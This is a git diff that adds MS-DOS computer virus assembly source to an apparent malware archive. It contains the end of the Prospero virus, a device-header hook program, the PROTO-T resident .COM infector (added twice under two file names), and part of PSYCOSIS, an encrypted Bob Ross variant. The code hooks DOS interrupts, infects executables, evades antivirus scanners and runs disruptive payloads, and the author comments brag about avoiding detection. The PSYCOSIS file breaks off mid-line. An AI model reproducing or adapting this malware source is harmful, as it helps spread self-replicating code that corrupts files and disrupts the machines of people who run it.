+dot db '..',0 +message1 db "Prospero Virus" ;14 +message2 db "(C) Opic [CodeBreakers '98]" ;27 +counter db 0 +attribs db 0h +opbuf dw 0 +String1 db '************************PROSPERO!**************************',0dh,0ah + db 'There is a path to the trancendece of the dollar: Embark',0dh,0ah + db 'rich beggars! Does magic bring prosperos to his knees?',0dh,0ah + db 'Reading pretty twilight, making grass uncertain?',0dh,0ah + db 'Oh,all that christmas snow shouldered by one birthday suit!',0dh,0ah + db 'The fate of the world under his armpit like a thermometer?',0dh,0ah + db 'Rejoice Villains! Your time has come.',0dh,0ah + db '**************(C) Opic [CodeBreakers,98]*******************',0Ch +EndStr1: + +;-------------------------------------------------------------------------- + +Virus_End: + +prospero Ends +End Start diff --git a/MSDOS/Virus.MSDOS.Unknown.prothd.asm b/MSDOS/Virus.MSDOS.Unknown.prothd.asm new file mode 100644 index 00000000..1cb17878 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.prothd.asm @@ -0,0 +1,75 @@ +code segment public 'code' + assume cs:code, ds:code, es:code + org 100h + +Main: mov ah,30h ; fn 30h = Get Dosversion + int 21h ; int 21h + cmp al,4 ; major dosversion + sbb si,si + mov ah,52h ; get internal list of lists + int 21h ; int 21h + lds bx,es:[bx] ; get pointer to first drive + ; paramenter block + +Search: mov ax,ds:[bx+si+15h] ; get segment of device header + cmp ax,70h ; dos device header ?? + jne Next ; no, go to next device + cmp byte ptr ds:[bx],0 + je Next + xchg ax,cx + mov di,ds:[bx+si+13h] ; get offset of device header + mov word ptr ds:[bx+si+13h],offset Header + mov ds:[bx+si+15h],cs ; set addres of new device +Next: lds bx,ds:[bx+si+19h] ; next drive parameter block + cmp bx,-1 ; last block ? + jne Search ; no, go to Search + jcxz Error + + mov ds,cx + mov si,di + push cs + pop es + mov di,offset Header + cld + movsw + movsw + movsw + mov ax,offset Strategy + stosw + mov ax,offset Interrupt + stosw + push di + mov di,offset Strategy + mov al,0eah + stosb + movsw + mov ax,cx + stosw + mov di,offset Interrupt + mov al,0eah + stosb + movsw + mov ax,cx + stosw + pop di + movsw + mov ax,3100h + mov dx,20h + int 21h + +Error: mov ax,4c01h + int 21h + +Header db 12 dup(?) +Interrupt db 5 dup(?) +Strategy db 5 dup(?) + + +code ends + +end Main + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/Virus.MSDOS.Unknown.proto-t.asm b/MSDOS/Virus.MSDOS.Unknown.proto-t.asm new file mode 100644 index 00000000..cdecd275 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.proto-t.asm @@ -0,0 +1,420 @@ +;PROTO-T virus: a simple, memory resident .COM infector for +;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. +; +;On call, PROTO-T will manipulate the interrupt table directly, hooking +;int 21h and decreasing the amount of memory by a little over 1k. +;It will infect COMMAND.COM +;if a shell is installed while the virus is in RAM. At start, +;PROTO-T polls the system time. If it is after 4:00 in the +;afternoon, the speaker will issue a hideous ringing noise and the +;hard file will be read very quickly, faking a massive Michelangelo-style +;trashing. The disk will continue to read until the user restores +;control by booting. (I took this slick routine from the first issue +;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American +;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling +;to those surprised by it. Heh. +; +;Files infected with PROTO-T will generally function normally until +;4 in the afternoon, when the virus locks them up until the next +;day by way of the nuisance routines described above. Infected files have +;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]' +;appended to them at the end where the body of the virus is located. +; +;PROTO-T is not currently scanned. However, its modifications are easily +;flagged by a good file integrity checker. For example, Dr. Solomon's +;Toolkit picked PROTO-T changes off an infected disk with both the QCV +;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, +;the novice user is left on his own by the Toolkit to determine the cause +;of the changes - a drawback which diminishes the software's value +;considerably, IMHO. +; +;I encourage you to play with PROTO-T by Dumbco. It is a +;well-behaved resident virus, useful in demonstrating the behavior +;of simple resident infectors and how they can "pop-up" suddenly and +;ruin your day. Of course, files infected by PROTO-T are, for all +;intents and purposes, useless for future computing unless you like +;the idea of a resident virus keeping you company and freezing up +;your work late in the afternoon. +; +;Known incompatibilities: PROTO-T will behave weirdly on machines +;using SYMANTEC's NDOS as a command processor. And some caches will +;cause PROTO-T to hang the machine immediately. For best results, +;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory +;management seems to work fine. (Ain't this somethin': software +;advisories with a virus!) +; +;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries, +;& our European friends Dark Helmet and Peter Venkmann with their very +;complete code archives (in particular, the CIVIL_II template). The +;'scarey ' subroutine was excerpted from "Computer Virus Developments +;Quarterly", Vol. 1., No.1. + + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +length equ offset last - begin +virus_length equ length / 16d + +host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection + ;marker in host + +begin: + + call virus ;make call to + ;push instruction pointer on stack + +virus: + + + mov ah,02Ch ;DOS get time function + int 021h + mov al,ch ;Copy hour into AL + cbw ;Sign-extend AL into AX + cmp ax,0010h ;Did the function return 16 (4 pm)? + jge malfunkshun ;If after 4 pm, do Proto-T thang! + jmp getonwithit + +malfunkshun: ;sound and fury start + cli ;turn off interrupts + mov dx,2 +agin1: mov bp,40 ;do 40 cycles of sound + mov si,1000 ;1st frequency + mov di,2000 ;2nd frequency + mov al,10110110b ;address of channel 2 mode 3 + out 43h,al ;send to port +agin2: mov bx,si ;place sound number in bx +backerx: mov ax,bx ;now put in ax + out 42h,al + mov al,ah + out 42h,al + in al,61h ;get port value + or al,00000011b ;turn speaker on + out 61h,al + mov cx,2EE0h ;delay +looperx: loop looperx ;do nothing loop so sound is audible + xchg di,si + in al,61h ;get port value + and al,11111100b ;AND - turn speaker off + out 61h,al ;send it + dec bp ;decrement repeat count + jnz agin2 ;if not = 0 do again + mov ax,10 ;10 repeats of 60000 loops +back: mov cx,0EA60h ;loop count (in hex for TASM) +loopery: loop loopery ;delay loops - no sound between bursts + dec ax + jnz back ;if not = 0 loop again + dec dx + jnz agin1 ;if not = 0 do whole thing again + sti ;restore interrupts + + + + mov si,0 ;scarey part: drive reads real +scarey: lodsb ;fast ala Michelangelo-style + mov ah,al ;over-write, but this routine only + lodsb ;gets random bytes here for a + and al,3 ;cylinder to READ + mov dl,80h + mov dh,al + mov ch,ah + mov cl,1 + mov bx,offset last ;buffer to read into + mov ax,201h + int 13h + jmp short scarey ;yow! scarey! just think if this + ;was made by someone not as nice as + ;me + +note db 'This program is sick. [PROTO-T by Dumbco, INC.]' + +getonwithit: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + + +check_resident: mov ah,0A0h ;check if virus + int 21h ;already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ;get Memory + dec ax ;Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ;check if last + ;block - + jne abort ;if not last block, + ;end + mov ax,ds:[0003] ;decrease memory + sub ax,50 ;by 1kb + mov ds:0003,ax + +install_virus: mov bx,ax ;PSP + mov ax,es ;virus start + add ax,bx ;in memory + mov es,ax + mov cx,length ;cx = length virus + mov ax,ds ;restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ;point to start virus + lea di,es:0100 ;point to destination + rep movsb ;copy virus in + ;memory + mov [virus_segment+bp],es ;store start of virus + ;in memory + mov ax,cs ;restore extra segment + mov es,ax + +hook_vector: cli ;disable interrupts + ;because we're manipulating + mov ax,3521h ;the interrupt table and a + ;crash would look bad + int 21h ;function 3521h - retrieve + mov ds,[virus_segment+bp] ;address of current handler + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset main_virus - 6h + mov ax,2521h ;copy new address (virus) to + int 21h ;interrupt table + sti ;interrupts on + +abort: mov ax,cs ;restore everything + mov ds,ax + mov es,ax + xor ax,ax + +end_virus: + + + mov bx,0100h ;jump to beginning + jmp bx ;of host file + + +;*************************************************************************** + +main_virus: pushf + cmp ah,0A0h ;check for virus + jne new_21h ;no virus call + mov ax,0001h ;ax = id + popf ;return id + iret + +new_21h: push ds ;save registers + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,40h + jne check_05 + cmp bx,0004h + jne check_05 + +check_05: cmp ah,05h + jne check_exec + +check_exec: cmp ax,04B00h ;intercept execute function + jne continue + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com ;goto check target + +continue: pop dx ;restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: cld ;check extension of loaded file + mov di,dx ;for COM + push ds + pop es + mov al,'.' ;search extension + repne scasb ;for 'COM', so + cmp word ptr es:[di],'OC' ;check 'CO' + jne continue ;and + cmp word ptr es:[di+2],'M' ;check 'M' + jne continue + + call set_int24h + call set_attribute + +open_file: mov ds,cs:[name_seg-6] ;name of target file + mov dx,cs:[name_off-6] + mov ax,3D02h ;open file + call do_int21h ;simulate int21 call, see below + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ;read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ;if equal, already + ;infected + +get_length: mov ax,4200h ;set file pointer to begin + call move_pointer + mov ax,4202h ;set file pointer to end + call move_pointer + sub ax,03h ;ax = file length + mov [length_file-6],ax + + call write_jmp + call write_virus ;summon write virus to file + +save_date: push cs ;save date of file + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ;close file + call do_int21h + + mov dx,cs:[old_24h-6] ;restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continue + + + + +new_24h: mov al,3 ;critical error handler + iret + + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + + + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + ;since virus owns int21, a +do_int21h: pushf ;direct call would be counter + call dword ptr cs:[old_21h-6];productive, so do a pushf + ret ;and call combination - Dark + ;Angel's virus guide is great +write_jmp: push cs ;at expalining this + pop ds + mov ax,4200h ;set pointer to beginning of file + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[length_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h ;write to file function + call move_pointer + mov ah,40 + mov cx,length ;virus length + mov dx,100 + call do_int21h ;do it + ret + +get_date: mov ax,5700h ;retrieve date function + call do_int21h ;do it + push cs + pop ds + mov [date-6],dx ;restore date & time + mov [time-6],cx + ret + ;set up critical error handler +set_int24h: mov ax,3524h ;request address of current handler + call do_int21h ;simulate int21 call + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h ;set vector to virus handler + call do_int21h ;do it + ret + +set_attribute: mov ax,4300h ;get attribute + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ;set attribute + mov ax,4301h + call do_int21h + ret + + + + + + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + + +old_21h dw 00h,00h +old_17h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +jump db 0E9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +length_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +code ends + end host diff --git a/MSDOS/Virus.MSDOS.Unknown.proto_t.asm b/MSDOS/Virus.MSDOS.Unknown.proto_t.asm new file mode 100644 index 00000000..cdecd275 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.proto_t.asm @@ -0,0 +1,420 @@ +;PROTO-T virus: a simple, memory resident .COM infector for +;Crypt newsletter 9. Assemble with any MASM/TASM compatible assembler. +; +;On call, PROTO-T will manipulate the interrupt table directly, hooking +;int 21h and decreasing the amount of memory by a little over 1k. +;It will infect COMMAND.COM +;if a shell is installed while the virus is in RAM. At start, +;PROTO-T polls the system time. If it is after 4:00 in the +;afternoon, the speaker will issue a hideous ringing noise and the +;hard file will be read very quickly, faking a massive Michelangelo-style +;trashing. The disk will continue to read until the user restores +;control by booting. (I took this slick routine from the first issue +;of "Computer Virus Developments Quarterly," edited by Mark Ludwig, American +;Eagle Publishing, Tucson, AZ.) The disk effect is harmless, but unsettling +;to those surprised by it. Heh. +; +;Files infected with PROTO-T will generally function normally until +;4 in the afternoon, when the virus locks them up until the next +;day by way of the nuisance routines described above. Infected files have +;the ASCII string, 'This program is sick. [PROTO-T by Dumbco, INC.]' +;appended to them at the end where the body of the virus is located. +; +;PROTO-T is not currently scanned. However, its modifications are easily +;flagged by a good file integrity checker. For example, Dr. Solomon's +;Toolkit picked PROTO-T changes off an infected disk with both the QCV +;(quick check virus) and CHKVIRUS (CHECKVIRUS) utilities. Unfortunately, +;the novice user is left on his own by the Toolkit to determine the cause +;of the changes - a drawback which diminishes the software's value +;considerably, IMHO. +; +;I encourage you to play with PROTO-T by Dumbco. It is a +;well-behaved resident virus, useful in demonstrating the behavior +;of simple resident infectors and how they can "pop-up" suddenly and +;ruin your day. Of course, files infected by PROTO-T are, for all +;intents and purposes, useless for future computing unless you like +;the idea of a resident virus keeping you company and freezing up +;your work late in the afternoon. +; +;Known incompatibilities: PROTO-T will behave weirdly on machines +;using SYMANTEC's NDOS as a command processor. And some caches will +;cause PROTO-T to hang the machine immediately. For best results, +;plain vanilla MS-DOS 4.01 and MS-DOS 5.0 with or without memory +;management seems to work fine. (Ain't this somethin': software +;advisories with a virus!) +; +;Code for PROTO-T was obtained from Nowhere Man's VCL 1.0 assembly libraries, +;& our European friends Dark Helmet and Peter Venkmann with their very +;complete code archives (in particular, the CIVIL_II template). The +;'scarey ' subroutine was excerpted from "Computer Virus Developments +;Quarterly", Vol. 1., No.1. + + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +length equ offset last - begin +virus_length equ length / 16d + +host: db 0E9h, 03h, 00h, 44h, 48h, 00h ;jump + infection + ;marker in host + +begin: + + call virus ;make call to + ;push instruction pointer on stack + +virus: + + + mov ah,02Ch ;DOS get time function + int 021h + mov al,ch ;Copy hour into AL + cbw ;Sign-extend AL into AX + cmp ax,0010h ;Did the function return 16 (4 pm)? + jge malfunkshun ;If after 4 pm, do Proto-T thang! + jmp getonwithit + +malfunkshun: ;sound and fury start + cli ;turn off interrupts + mov dx,2 +agin1: mov bp,40 ;do 40 cycles of sound + mov si,1000 ;1st frequency + mov di,2000 ;2nd frequency + mov al,10110110b ;address of channel 2 mode 3 + out 43h,al ;send to port +agin2: mov bx,si ;place sound number in bx +backerx: mov ax,bx ;now put in ax + out 42h,al + mov al,ah + out 42h,al + in al,61h ;get port value + or al,00000011b ;turn speaker on + out 61h,al + mov cx,2EE0h ;delay +looperx: loop looperx ;do nothing loop so sound is audible + xchg di,si + in al,61h ;get port value + and al,11111100b ;AND - turn speaker off + out 61h,al ;send it + dec bp ;decrement repeat count + jnz agin2 ;if not = 0 do again + mov ax,10 ;10 repeats of 60000 loops +back: mov cx,0EA60h ;loop count (in hex for TASM) +loopery: loop loopery ;delay loops - no sound between bursts + dec ax + jnz back ;if not = 0 loop again + dec dx + jnz agin1 ;if not = 0 do whole thing again + sti ;restore interrupts + + + + mov si,0 ;scarey part: drive reads real +scarey: lodsb ;fast ala Michelangelo-style + mov ah,al ;over-write, but this routine only + lodsb ;gets random bytes here for a + and al,3 ;cylinder to READ + mov dl,80h + mov dh,al + mov ch,ah + mov cl,1 + mov bx,offset last ;buffer to read into + mov ax,201h + int 13h + jmp short scarey ;yow! scarey! just think if this + ;was made by someone not as nice as + ;me + +note db 'This program is sick. [PROTO-T by Dumbco, INC.]' + +getonwithit: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + + +check_resident: mov ah,0A0h ;check if virus + int 21h ;already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ;get Memory + dec ax ;Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ;check if last + ;block - + jne abort ;if not last block, + ;end + mov ax,ds:[0003] ;decrease memory + sub ax,50 ;by 1kb + mov ds:0003,ax + +install_virus: mov bx,ax ;PSP + mov ax,es ;virus start + add ax,bx ;in memory + mov es,ax + mov cx,length ;cx = length virus + mov ax,ds ;restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ;point to start virus + lea di,es:0100 ;point to destination + rep movsb ;copy virus in + ;memory + mov [virus_segment+bp],es ;store start of virus + ;in memory + mov ax,cs ;restore extra segment + mov es,ax + +hook_vector: cli ;disable interrupts + ;because we're manipulating + mov ax,3521h ;the interrupt table and a + ;crash would look bad + int 21h ;function 3521h - retrieve + mov ds,[virus_segment+bp] ;address of current handler + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset main_virus - 6h + mov ax,2521h ;copy new address (virus) to + int 21h ;interrupt table + sti ;interrupts on + +abort: mov ax,cs ;restore everything + mov ds,ax + mov es,ax + xor ax,ax + +end_virus: + + + mov bx,0100h ;jump to beginning + jmp bx ;of host file + + +;*************************************************************************** + +main_virus: pushf + cmp ah,0A0h ;check for virus + jne new_21h ;no virus call + mov ax,0001h ;ax = id + popf ;return id + iret + +new_21h: push ds ;save registers + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,40h + jne check_05 + cmp bx,0004h + jne check_05 + +check_05: cmp ah,05h + jne check_exec + +check_exec: cmp ax,04B00h ;intercept execute function + jne continue + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com ;goto check target + +continue: pop dx ;restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: cld ;check extension of loaded file + mov di,dx ;for COM + push ds + pop es + mov al,'.' ;search extension + repne scasb ;for 'COM', so + cmp word ptr es:[di],'OC' ;check 'CO' + jne continue ;and + cmp word ptr es:[di+2],'M' ;check 'M' + jne continue + + call set_int24h + call set_attribute + +open_file: mov ds,cs:[name_seg-6] ;name of target file + mov dx,cs:[name_off-6] + mov ax,3D02h ;open file + call do_int21h ;simulate int21 call, see below + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ;read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ;if equal, already + ;infected + +get_length: mov ax,4200h ;set file pointer to begin + call move_pointer + mov ax,4202h ;set file pointer to end + call move_pointer + sub ax,03h ;ax = file length + mov [length_file-6],ax + + call write_jmp + call write_virus ;summon write virus to file + +save_date: push cs ;save date of file + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ;close file + call do_int21h + + mov dx,cs:[old_24h-6] ;restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continue + + + + +new_24h: mov al,3 ;critical error handler + iret + + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + + + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + ;since virus owns int21, a +do_int21h: pushf ;direct call would be counter + call dword ptr cs:[old_21h-6];productive, so do a pushf + ret ;and call combination - Dark + ;Angel's virus guide is great +write_jmp: push cs ;at expalining this + pop ds + mov ax,4200h ;set pointer to beginning of file + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[length_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h ;write to file function + call move_pointer + mov ah,40 + mov cx,length ;virus length + mov dx,100 + call do_int21h ;do it + ret + +get_date: mov ax,5700h ;retrieve date function + call do_int21h ;do it + push cs + pop ds + mov [date-6],dx ;restore date & time + mov [time-6],cx + ret + ;set up critical error handler +set_int24h: mov ax,3524h ;request address of current handler + call do_int21h ;simulate int21 call + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h ;set vector to virus handler + call do_int21h ;do it + ret + +set_attribute: mov ax,4300h ;get attribute + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ;set attribute + mov ax,4301h + call do_int21h + ret + + + + + + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + + +old_21h dw 00h,00h +old_17h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +jump db 0E9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +length_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +code ends + end host diff --git a/MSDOS/Virus.MSDOS.Unknown.psycosis.asm b/MSDOS/Virus.MSDOS.Unknown.psycosis.asm new file mode 100644 index 00000000..844fa231 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.psycosis.asm @@ -0,0 +1,567 @@ +; VirusName : PSYCOSIS +; Origin : Sweden +; Author : The Unforgiven +; Date : 03/01/94 + +; This is yet another mutation of the Bob Ross virus, written by Dark +; Angel of Phalcon/Skism in September 1991. In my last version of this +; virus, I excluded the encryption, and included some destructive code +; instead. In this one, I added a new encryption, and thereby it went +; undetectable by most of the scanners. Yes, Scan/FindViru/MSAV/CPAV, +; can't find it. F-prot doesn't founds a shit, but Tbscan's most +; heuristics scanner says that it "probably" is infected with some +; unknown virus. The "standard" heuristic gets some flags, but not +; enough to say that it's infected. Therefor I'd like to claim that +; the scanners sucks! + +; I had thought to change much more in the code, for example the +; spreading routine. This virus will search the whole tree for +; files to infect, and becomes therefor pretty slow, and easily +; detected. But hell, it spreads!, Hm, 3 files each run!.. + +; It also contains a resident printing part, which under some +; specific conditions will print some messages, in the top of the +; screen. If you're afraid that you are infected with this virus, +; just set the date to 0606 any year, and wait for some minutes. +; If a sudden message shows up, delete your .COM file, which first +; character is an "&". + +;============================================================================= +; **** PSYCOSIS **** +;============================================================================= + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0606h ; Date of psychosis .(swedish national day). + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +;encrypt_val db 00h +encrypt_val dw 0 +decrypt: +encrypt: + + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + call cheater + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret +cheater: +ret + +copy_rest_stuff: + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 ; root directory +com_mask db '*.com',0 ; files to infect +dir_mask db '*.*',0 ; files to search for +back_dir db '..',0 ; go "dot-dot". +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now 